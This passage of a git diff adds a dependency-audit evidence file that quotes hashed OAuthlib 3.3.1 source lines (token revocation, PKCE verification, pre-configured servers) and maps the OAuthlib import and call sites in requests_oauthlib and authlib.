+oauthlib/oauth2/rfc6749/endpoints/revocation.py:51: already achieved. +oauthlib/oauth2/rfc6749/endpoints/revocation.py:52: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:53: The content of the response body is ignored by the client as all +oauthlib/oauth2/rfc6749/endpoints/revocation.py:54: necessary information is conveyed in the response code. +oauthlib/oauth2/rfc6749/endpoints/revocation.py:55: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:56: An invalid token type hint value is ignored by the authorization server +oauthlib/oauth2/rfc6749/endpoints/revocation.py:57: and does not influence the revocation response. +oauthlib/oauth2/rfc6749/endpoints/revocation.py:58: """ +oauthlib/oauth2/rfc6749/endpoints/revocation.py:59: resp_headers = { +oauthlib/oauth2/rfc6749/endpoints/revocation.py:60: 'Content-Type': 'application/json', +oauthlib/oauth2/rfc6749/endpoints/revocation.py:61: 'Cache-Control': 'no-store', +oauthlib/oauth2/rfc6749/endpoints/revocation.py:62: 'Pragma': 'no-cache', +oauthlib/oauth2/rfc6749/endpoints/revocation.py:63: } +oauthlib/oauth2/rfc6749/endpoints/revocation.py:64: request = Request( +oauthlib/oauth2/rfc6749/endpoints/revocation.py:65: uri, http_method=http_method, body=body, headers=headers) +oauthlib/oauth2/rfc6749/endpoints/revocation.py:66: try: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:67: self.validate_revocation_request(request) +oauthlib/oauth2/rfc6749/endpoints/revocation.py:68: log.debug('Token revocation valid for %r.', request) +oauthlib/oauth2/rfc6749/endpoints/revocation.py:69: except OAuth2Error as e: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:70: log.debug('Client error during validation of %r. %r.', request, e) +oauthlib/oauth2/rfc6749/endpoints/revocation.py:71: response_body = e.json +oauthlib/oauth2/rfc6749/endpoints/revocation.py:72: if self.enable_jsonp and request.callback: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:73: response_body = '{}({});'.format(request.callback, response_body) +oauthlib/oauth2/rfc6749/endpoints/revocation.py:74: resp_headers.update(e.headers) +oauthlib/oauth2/rfc6749/endpoints/revocation.py:75: return resp_headers, response_body, e.status_code +oauthlib/oauth2/rfc6749/endpoints/revocation.py:76: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:77: self.request_validator.revoke_token(request.token, +oauthlib/oauth2/rfc6749/endpoints/revocation.py:78: request.token_type_hint, request) +oauthlib/oauth2/rfc6749/endpoints/revocation.py:79: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:80: response_body = '' +oauthlib/oauth2/rfc6749/endpoints/revocation.py:81: if self.enable_jsonp and request.callback: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:82: response_body = request.callback + '();' +oauthlib/oauth2/rfc6749/endpoints/revocation.py:83: return {}, response_body, 200 +oauthlib/oauth2/rfc6749/endpoints/revocation.py:84: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:85: def validate_revocation_request(self, request): +oauthlib/oauth2/rfc6749/endpoints/revocation.py:86: """Ensure the request is valid. +oauthlib/oauth2/rfc6749/endpoints/revocation.py:87: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:88: The client constructs the request by including the following parameters +oauthlib/oauth2/rfc6749/endpoints/revocation.py:89: using the "application/x-www-form-urlencoded" format in the HTTP +oauthlib/oauth2/rfc6749/endpoints/revocation.py:90: request entity-body: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:91: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:92: token (REQUIRED). The token that the client wants to get revoked. +oauthlib/oauth2/rfc6749/endpoints/revocation.py:93: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:94: token_type_hint (OPTIONAL). A hint about the type of the token +oauthlib/oauth2/rfc6749/endpoints/revocation.py:95: submitted for revocation. Clients MAY pass this parameter in order to +oauthlib/oauth2/rfc6749/endpoints/revocation.py:96: help the authorization server to optimize the token lookup. If the +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py sha256 0d6931601c4e88a078fb3ccf5f052c035ad6a4bb2171efb9c218e088a7272dc6 +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:18: def code_challenge_method_s256(verifier, challenge): +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:19: """ +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:20: If the "code_challenge_method" from `Section 4.3`_ was "S256", the +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:21: received "code_verifier" is hashed by SHA-256, base64url-encoded, and +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:22: then compared to the "code_challenge", i.e.: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:23: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:24: BASE64URL-ENCODE(SHA256(ASCII(code_verifier))) == code_challenge +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:25: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:26: How to implement a base64url-encoding +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:27: function without padding, based upon the standard base64-encoding +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:28: function that uses padding. +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:29: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:30: To be concrete, example C# code implementing these functions is shown +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:31: below. Similar code could be used in other languages. +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:32: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:33: static string base64urlencode(byte [] arg) +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:34: { +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:35: string s = Convert.ToBase64String(arg); // Regular base64 encoder +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:36: s = s.Split('=')[0]; // Remove any trailing '='s +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:37: s = s.Replace('+', '-'); // 62nd char of encoding +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:38: s = s.Replace('/', '_'); // 63rd char of encoding +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:39: return s; +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:40: } +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:41: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:42: In python urlsafe_b64encode is already replacing '+' and '/', but preserve +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:43: the trailing '='. So we have to remove it. +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:44: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:45: .. _`Section 4.3`: https://tools.ietf.org/html/rfc7636#section-4.3 +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:46: """ +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:47: return base64.urlsafe_b64encode( +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:48: hashlib.sha256(verifier.encode()).digest() +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:49: ).decode().rstrip('=') == challenge +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:50: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:51: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:52: def code_challenge_method_plain(verifier, challenge): +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:53: """ +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:54: If the "code_challenge_method" from `Section 4.3`_ was "plain", they are +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:55: compared directly, i.e.: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:56: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:57: code_verifier == code_challenge. +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:58: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:59: .. _`Section 4.3`: https://tools.ietf.org/html/rfc7636#section-4.3 +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:60: """ +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:61: return verifier == challenge +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:62: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:63: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:64: class AuthorizationCodeGrant(GrantTypeBase): +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:65: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:490: challenge = self.request_validator.get_code_challenge(request.code, request) +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:491: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:492: if challenge is not None: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:493: if request.code_verifier is None: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:494: raise errors.MissingCodeVerifierError(request=request) +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:495: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:496: challenge_method = self.request_validator.get_code_challenge_method(request.code, request) +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:497: if challenge_method is None: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:498: raise errors.InvalidGrantError(request=request, description="Challenge method not found") +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:499: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:500: if challenge_method not in self._code_challenge_methods: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:501: raise errors.ServerError( +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:502: description="code_challenge_method {} is not supported.".format(challenge_method), +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:503: request=request +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:504: ) +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:505: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:506: if not self.validate_code_challenge(challenge, +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:507: challenge_method, +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:508: request.code_verifier): +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:509: log.debug('request provided a invalid code_verifier.') +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:510: raise errors.InvalidGrantError(request=request) +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:511: elif self.request_validator.is_pkce_required(request.client_id, request) is True: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:512: if request.code_verifier is None: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:513: raise errors.MissingCodeVerifierError(request=request) +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:531: request.using_default_redirect_uri = False +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:532: log.debug('Using provided redirect_uri %s', request.redirect_uri) +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:533: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:534: if not self.request_validator.confirm_redirect_uri(request.client_id, request.code, +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:535: request.redirect_uri, request.client, +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:536: request): +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:537: log.debug('Redirect_uri (%r) invalid for client %r (%r).', +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:538: request.redirect_uri, request.client_id, request.client) +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:539: raise errors.MismatchingRedirectURIError(request=request) +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:540: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:541: for validator in self.custom_validators.post_token: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:542: validator(request) +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:543: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:544: def validate_code_challenge(self, challenge, challenge_method, verifier): +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:545: if challenge_method in self._code_challenge_methods: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:546: return self._code_challenge_methods[challenge_method](verifier, challenge) +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:547: raise NotImplementedError('Unknown challenge_method %s' % challenge_method) +# RevocationEndpoint construction in OAuthlib's own preconfigured servers +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py sha256 6fe072e29e94f0bb6fa65bf8a223893b2702e8d77c52494b389f75bb3ebc6316 +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:92: RevocationEndpoint.__init__(self, request_validator) +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:93: IntrospectEndpoint.__init__(self, request_validator) +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:94: +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:95: +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:145: RevocationEndpoint.__init__(self, request_validator) +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:146: IntrospectEndpoint.__init__(self, request_validator) +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:147: +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:148: +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:188: RevocationEndpoint.__init__( +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:189: self, request_validator, supported_token_types=["access_token"] +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:190: ) +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:191: IntrospectEndpoint.__init__( +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:239: RevocationEndpoint.__init__(self, request_validator) +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:240: IntrospectEndpoint.__init__(self, request_validator) +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:241: +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:242: +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:282: RevocationEndpoint.__init__( +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:283: self, request_validator, supported_token_types=["access_token"] +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:284: ) +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:285: IntrospectEndpoint.__init__( +oauthlib/openid/connect/core/endpoints/pre_configured.py sha256 bc6ff1a5fa23c2dcc3a782125e13d93355e73abf2e4fadc406b86ebce121e7ee +oauthlib/openid/connect/core/endpoints/pre_configured.py:137: RevocationEndpoint.__init__(self, request_validator) +oauthlib/openid/connect/core/endpoints/pre_configured.py:138: IntrospectEndpoint.__init__(self, request_validator) +oauthlib/openid/connect/core/endpoints/pre_configured.py:139: UserInfoEndpoint.__init__(self, request_validator) diff --git a/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-oauthlib-alias-callers.stdout.txt b/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-oauthlib-alias-callers.stdout.txt new file mode 100644 index 000000000..c435556c6 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-oauthlib-alias-callers.stdout.txt @@ -0,0 +1,477 @@ +# installed closure excluding OAuthlib itself and installer tooling: 10684 Python sources searched; parse errors: 0 +REVIEWED TEXT ONLY func_timeout/py2_raise.py:5: invalid syntax; sha256 19d989963807de3847a00bbe90337fd9100a79cee4327683b601e4bc96225b77 + + +# Python2 allows specifying an alternate traceback. +def raise_exception(exception): + raise exception[0] , None , exception[0].__traceback__ + +## OAuthlib literal importers with aliases, from-imports and bound call sites +requests_oauthlib files: 6 +requests_oauthlib/compliance_fixes/instagram.py + 3: oauthlib.common.add_params_to_uri bound as add_params_to_uri + call 19: oauthlib.common.add_params_to_uri +requests_oauthlib/compliance_fixes/slack.py + 3: oauthlib.common.add_params_to_uri bound as add_params_to_uri + call 30: oauthlib.common.add_params_to_uri +requests_oauthlib/oauth1_auth.py + 4: oauthlib.common.extract_params bound as extract_params + 5: oauthlib.oauth1.Client bound as Client + 5: oauthlib.oauth1.SIGNATURE_HMAC bound as SIGNATURE_HMAC + 5: oauthlib.oauth1.SIGNATURE_TYPE_AUTH_HEADER bound as SIGNATURE_TYPE_AUTH_HEADER + 6: oauthlib.oauth1.SIGNATURE_TYPE_BODY bound as SIGNATURE_TYPE_BODY + call 77: oauthlib.common.extract_params +requests_oauthlib/oauth1_session.py + 5: oauthlib.common.add_params_to_uri bound as add_params_to_uri + 6: oauthlib.common.urldecode bound as _urldecode + 7: oauthlib.oauth1.SIGNATURE_HMAC bound as SIGNATURE_HMAC + 7: oauthlib.oauth1.SIGNATURE_RSA bound as SIGNATURE_RSA + 7: oauthlib.oauth1.SIGNATURE_TYPE_AUTH_HEADER bound as SIGNATURE_TYPE_AUTH_HEADER + call 19: oauthlib.common.urldecode + call 253: oauthlib.common.add_params_to_uri +requests_oauthlib/oauth2_auth.py + 1: oauthlib.oauth2.WebApplicationClient bound as WebApplicationClient + 1: oauthlib.oauth2.InsecureTransportError bound as InsecureTransportError + 2: oauthlib.oauth2.is_secure_transport bound as is_secure_transport + call 19: oauthlib.oauth2.WebApplicationClient + call 31: oauthlib.oauth2.is_secure_transport + call 32: oauthlib.oauth2.InsecureTransportError +requests_oauthlib/oauth2_session.py + 3: oauthlib.common.generate_token bound as generate_token + 3: oauthlib.common.urldecode bound as urldecode + 4: oauthlib.oauth2.WebApplicationClient bound as WebApplicationClient + 4: oauthlib.oauth2.InsecureTransportError bound as InsecureTransportError + 5: oauthlib.oauth2.LegacyApplicationClient bound as LegacyApplicationClient + 6: oauthlib.oauth2.TokenExpiredError bound as TokenExpiredError + 6: oauthlib.oauth2.is_secure_transport bound as is_secure_transport + call 78: oauthlib.oauth2.WebApplicationClient + call 267: oauthlib.oauth2.is_secure_transport + call 268: oauthlib.oauth2.InsecureTransportError + call 368: oauthlib.common.urldecode + call 371: oauthlib.common.urldecode + call 452: oauthlib.oauth2.is_secure_transport + call 453: oauthlib.oauth2.InsecureTransportError + call 478: oauthlib.common.urldecode + call 515: oauthlib.oauth2.is_secure_transport + call 516: oauthlib.oauth2.InsecureTransportError +## Advisory-related source references outside OAuthlib +authlib reference lines: 32 + authlib/integrations/django_oauth2/__init__.py:4: from .endpoints import RevocationEndpoint + authlib/integrations/django_oauth2/endpoints.py:1: from authlib.oauth2.rfc7009 import RevocationEndpoint as _RevocationEndpoint + authlib/integrations/django_oauth2/endpoints.py:4: class RevocationEndpoint(_RevocationEndpoint): + authlib/integrations/django_oauth2/endpoints.py:15: server.register_endpoint(RevocationEndpoint) + authlib/integrations/django_oauth2/endpoints.py:21: RevocationEndpoint.ENDPOINT_NAME, request + authlib/integrations/sqla_oauth2/functions.py:70: from authlib.oauth2.rfc7009 import RevocationEndpoint + authlib/integrations/sqla_oauth2/functions.py:74: class _RevocationEndpoint(RevocationEndpoint): + authlib/oauth2/rfc6749/__init__.py:28: from .grants import AuthorizationCodeGrant + authlib/oauth2/rfc6749/__init__.py:83: "AuthorizationCodeGrant", + authlib/oauth2/rfc6749/authorization_server.py:203: class AuthorizationCodeGrant(grants.AuthorizationCodeGrant): + authlib/oauth2/rfc6749/authorization_server.py:207: authorization_server.register_grant(AuthorizationCodeGrant) + authlib/oauth2/rfc6749/authorization_server.py:219: RevocationEndpoint:: + authlib/oauth2/rfc6749/authorization_server.py:221: authorization_server.register_endpoint(RevocationEndpoint) + authlib/oauth2/rfc6749/grants/__init__.py:23: from .authorization_code import AuthorizationCodeGrant + authlib/oauth2/rfc6749/grants/__init__.py:36: "AuthorizationCodeGrant", + authlib/oauth2/rfc6749/grants/authorization_code.py:20: class AuthorizationCodeGrant(BaseGrant, AuthorizationEndpointMixin, TokenEndpointMixin): + authlib/oauth2/rfc6749/grants/authorization_code.py:296: class MyAuthorizationCodeGrant(AuthorizationCodeGrant): + authlib/oauth2/rfc7009/__init__.py:11: from .revocation import RevocationEndpoint + authlib/oauth2/rfc7009/__init__.py:13: __all__ = ["prepare_revoke_token_request", "RevocationEndpoint"] + authlib/oauth2/rfc7009/revocation.py:9: class RevocationEndpoint(TokenEndpoint): + authlib/oauth2/rfc7636/challenge.py:39: The AuthorizationCodeGrant SHOULD save the ``code_challenge`` and + authlib/oauth2/rfc7636/challenge.py:43: server.register_grant(AuthorizationCodeGrant, [CodeChallenge(required=True)]) + authlib/oauth2/rfc7636/challenge.py:62: self.validate_code_challenge, + authlib/oauth2/rfc7636/challenge.py:69: def validate_code_challenge(self, grant, redirect_uri): + authlib/oauth2/rfc9068/revocation.py:6: from ..rfc7009 import RevocationEndpoint + authlib/oauth2/rfc9068/revocation.py:9: class JWTRevocationEndpoint(RevocationEndpoint): + authlib/oauth2/rfc9068/revocation.py:11: :class:`~authlib.oauth2.rfc7009.RevocationEndpoint`. + authlib/oauth2/rfc9068/revocation.py:20: :class:`~authlib.oauth2.rfc7009.RevocationEndpoint`. + authlib/oidc/core/grants/code.py:41: :param grant: AuthorizationCodeGrant instance + authlib/oidc/core/grants/code.py:136: The register this extension with AuthorizationCodeGrant:: + authlib/oidc/core/grants/code.py:139: AuthorizationCodeGrant, extensions=[MyOpenIDCode()] + authlib/oidc/core/grants/hybrid.py:28: class MyAuthorizationCodeGrant(AuthorizationCodeGrant): +# recipe: 12 Python sources searched; parse errors: 0 +## OAuthlib literal importers with aliases, from-imports and bound call sites +## Advisory-related source references outside OAuthlib +# Entered namespaces and advisory implementation: file hashes and source lines +oauthlib/__init__.py sha256 ccbf8a40b750b21931f842b1b416e0bb5cb24e97f54d127b42d7da38eb1d5dc4 +oauthlib/__init__.py:1: """ +oauthlib/__init__.py:2: oauthlib +oauthlib/__init__.py:3: ~~~~~~~~ +oauthlib/__init__.py:4: +oauthlib/__init__.py:5: A generic, spec-compliant, thorough implementation of the OAuth +oauthlib/__init__.py:6: request-signing logic. +oauthlib/__init__.py:7: +oauthlib/__init__.py:8: :copyright: (c) The OAuthlib Community +oauthlib/__init__.py:9: :license: BSD-3-Clause, see LICENSE for details. +oauthlib/__init__.py:10: """ +oauthlib/__init__.py:11: import logging +oauthlib/__init__.py:12: from logging import NullHandler +oauthlib/__init__.py:13: +oauthlib/__init__.py:14: __author__ = 'The OAuthlib Community' +oauthlib/__init__.py:15: __version__ = '3.3.1' +oauthlib/__init__.py:16: +oauthlib/__init__.py:17: logging.getLogger('oauthlib').addHandler(NullHandler()) +oauthlib/__init__.py:18: +oauthlib/__init__.py:19: _DEBUG = False +oauthlib/__init__.py:20: +oauthlib/__init__.py:21: def set_debug(debug_val): +oauthlib/__init__.py:22: """Set value of debug flag +oauthlib/__init__.py:23: +oauthlib/__init__.py:24: :param debug_val: Value to set. Must be a bool value. +oauthlib/__init__.py:25: """ +oauthlib/__init__.py:26: global _DEBUG # noqa: PLW0603 +oauthlib/__init__.py:27: _DEBUG = debug_val +oauthlib/__init__.py:28: +oauthlib/__init__.py:29: def get_debug(): +oauthlib/__init__.py:30: """Get debug mode value. +oauthlib/__init__.py:31: +oauthlib/__init__.py:32: :return: `True` if debug mode is on, `False` otherwise +oauthlib/__init__.py:33: """ +oauthlib/__init__.py:34: return _DEBUG +oauthlib/oauth1/__init__.py sha256 e3b84443bb3f1595cbc94b7a5d513e0cf0bcbd4315b0997bffe1c290d3362253 +oauthlib/oauth1/__init__.py:1: """ +oauthlib/oauth1/__init__.py:2: oauthlib.oauth1 +oauthlib/oauth1/__init__.py:3: ~~~~~~~~~~~~~~ +oauthlib/oauth1/__init__.py:4: +oauthlib/oauth1/__init__.py:5: This module is a wrapper for the most recent implementation of OAuth 1.0 Client +oauthlib/oauth1/__init__.py:6: and Server classes. +oauthlib/oauth1/__init__.py:7: """ +oauthlib/oauth1/__init__.py:8: from .rfc5849 import ( +oauthlib/oauth1/__init__.py:9: SIGNATURE_HMAC, SIGNATURE_HMAC_SHA1, SIGNATURE_HMAC_SHA256, +oauthlib/oauth1/__init__.py:10: SIGNATURE_HMAC_SHA512, SIGNATURE_PLAINTEXT, SIGNATURE_RSA, +oauthlib/oauth1/__init__.py:11: SIGNATURE_RSA_SHA1, SIGNATURE_RSA_SHA256, SIGNATURE_RSA_SHA512, +oauthlib/oauth1/__init__.py:12: SIGNATURE_TYPE_AUTH_HEADER, SIGNATURE_TYPE_BODY, SIGNATURE_TYPE_QUERY, +oauthlib/oauth1/__init__.py:13: Client, +oauthlib/oauth1/__init__.py:14: ) +oauthlib/oauth1/__init__.py:15: from .rfc5849.endpoints import ( +oauthlib/oauth1/__init__.py:16: AccessTokenEndpoint, AuthorizationEndpoint, RequestTokenEndpoint, +oauthlib/oauth1/__init__.py:17: ResourceEndpoint, SignatureOnlyEndpoint, WebApplicationServer, +oauthlib/oauth1/__init__.py:18: ) +oauthlib/oauth1/__init__.py:19: from .rfc5849.errors import ( +oauthlib/oauth1/__init__.py:20: InsecureTransportError, InvalidClientError, InvalidRequestError, +oauthlib/oauth1/__init__.py:21: InvalidSignatureMethodError, OAuth1Error, +oauthlib/oauth1/__init__.py:22: ) +oauthlib/oauth1/__init__.py:23: from .rfc5849.request_validator import RequestValidator +oauthlib/oauth2/__init__.py sha256 2bb207c3f04d0992d24d0a807d0aac2cad0ad3303afcaad00c2cdce12fb7de24 +oauthlib/oauth2/__init__.py:1: """ +oauthlib/oauth2/__init__.py:2: oauthlib.oauth2 +oauthlib/oauth2/__init__.py:3: ~~~~~~~~~~~~~~ +oauthlib/oauth2/__init__.py:4: +oauthlib/oauth2/__init__.py:5: This module is a wrapper for the most recent implementation of OAuth 2.0 Client +oauthlib/oauth2/__init__.py:6: and Server classes. +oauthlib/oauth2/__init__.py:7: """ +oauthlib/oauth2/__init__.py:8: +oauthlib/oauth2/__init__.py:9: from .rfc6749.clients import ( +oauthlib/oauth2/__init__.py:10: BackendApplicationClient, +oauthlib/oauth2/__init__.py:11: Client, +oauthlib/oauth2/__init__.py:12: LegacyApplicationClient, +oauthlib/oauth2/__init__.py:13: MobileApplicationClient, +oauthlib/oauth2/__init__.py:14: ServiceApplicationClient, +oauthlib/oauth2/__init__.py:15: WebApplicationClient, +oauthlib/oauth2/__init__.py:16: ) +oauthlib/oauth2/__init__.py:17: from .rfc6749.endpoints import ( +oauthlib/oauth2/__init__.py:18: AuthorizationEndpoint, +oauthlib/oauth2/__init__.py:19: BackendApplicationServer, +oauthlib/oauth2/__init__.py:20: IntrospectEndpoint, +oauthlib/oauth2/__init__.py:21: LegacyApplicationServer, +oauthlib/oauth2/__init__.py:22: MetadataEndpoint, +oauthlib/oauth2/__init__.py:23: MobileApplicationServer, +oauthlib/oauth2/__init__.py:24: ResourceEndpoint, +oauthlib/oauth2/__init__.py:25: RevocationEndpoint, +oauthlib/oauth2/__init__.py:26: Server, +oauthlib/oauth2/__init__.py:27: TokenEndpoint, +oauthlib/oauth2/__init__.py:28: WebApplicationServer, +oauthlib/oauth2/__init__.py:29: ) +oauthlib/oauth2/__init__.py:30: from .rfc6749.errors import ( +oauthlib/oauth2/__init__.py:31: AccessDeniedError, +oauthlib/oauth2/__init__.py:32: FatalClientError, +oauthlib/oauth2/__init__.py:33: InsecureTransportError, +oauthlib/oauth2/__init__.py:34: InvalidClientError, +oauthlib/oauth2/__init__.py:35: InvalidClientIdError, +oauthlib/oauth2/__init__.py:36: InvalidGrantError, +oauthlib/oauth2/__init__.py:37: InvalidRedirectURIError, +oauthlib/oauth2/__init__.py:38: InvalidRequestError, +oauthlib/oauth2/__init__.py:39: InvalidRequestFatalError, +oauthlib/oauth2/__init__.py:40: InvalidScopeError, +oauthlib/oauth2/__init__.py:41: MismatchingRedirectURIError, +oauthlib/oauth2/__init__.py:42: MismatchingStateError, +oauthlib/oauth2/__init__.py:43: MissingClientIdError, +oauthlib/oauth2/__init__.py:44: MissingCodeError, +oauthlib/oauth2/__init__.py:45: MissingRedirectURIError, +oauthlib/oauth2/__init__.py:46: MissingResponseTypeError, +oauthlib/oauth2/__init__.py:47: MissingTokenError, +oauthlib/oauth2/__init__.py:48: MissingTokenTypeError, +oauthlib/oauth2/__init__.py:49: OAuth2Error, +oauthlib/oauth2/__init__.py:50: ServerError, +oauthlib/oauth2/__init__.py:51: TemporarilyUnavailableError, +oauthlib/oauth2/__init__.py:52: TokenExpiredError, +oauthlib/oauth2/__init__.py:53: UnauthorizedClientError, +oauthlib/oauth2/__init__.py:54: UnsupportedGrantTypeError, +oauthlib/oauth2/__init__.py:55: UnsupportedResponseTypeError, +oauthlib/oauth2/__init__.py:56: UnsupportedTokenTypeError, +oauthlib/oauth2/__init__.py:57: ) +oauthlib/oauth2/__init__.py:58: from .rfc6749.grant_types import ( +oauthlib/oauth2/__init__.py:59: AuthorizationCodeGrant, +oauthlib/oauth2/__init__.py:60: ClientCredentialsGrant, +oauthlib/oauth2/__init__.py:61: ImplicitGrant, +oauthlib/oauth2/__init__.py:62: RefreshTokenGrant, +oauthlib/oauth2/__init__.py:63: ResourceOwnerPasswordCredentialsGrant, +oauthlib/oauth2/__init__.py:64: ) +oauthlib/oauth2/__init__.py:65: from .rfc6749.request_validator import RequestValidator +oauthlib/oauth2/__init__.py:66: from .rfc6749.tokens import BearerToken, OAuth2Token +oauthlib/oauth2/__init__.py:67: from .rfc6749.utils import is_secure_transport +oauthlib/oauth2/__init__.py:68: from .rfc8628.clients import DeviceClient +oauthlib/oauth2/__init__.py:69: from oauthlib.oauth2.rfc8628.endpoints import DeviceAuthorizationEndpoint, DeviceApplicationServer +oauthlib/oauth2/__init__.py:70: from oauthlib.oauth2.rfc8628.grant_types import DeviceCodeGrant +oauthlib/common.py sha256 39e686f928b00d7004b0ad5f921e4669b8123c68c6e0072ec2eab007986b1bf0 +oauthlib/common.py:185: return str(int(time.time())) +oauthlib/common.py:186: +oauthlib/common.py:187: +oauthlib/common.py:188: def generate_token(length=30, chars=UNICODE_ASCII_CHARACTER_SET): +oauthlib/common.py:189: """Generates a non-guessable 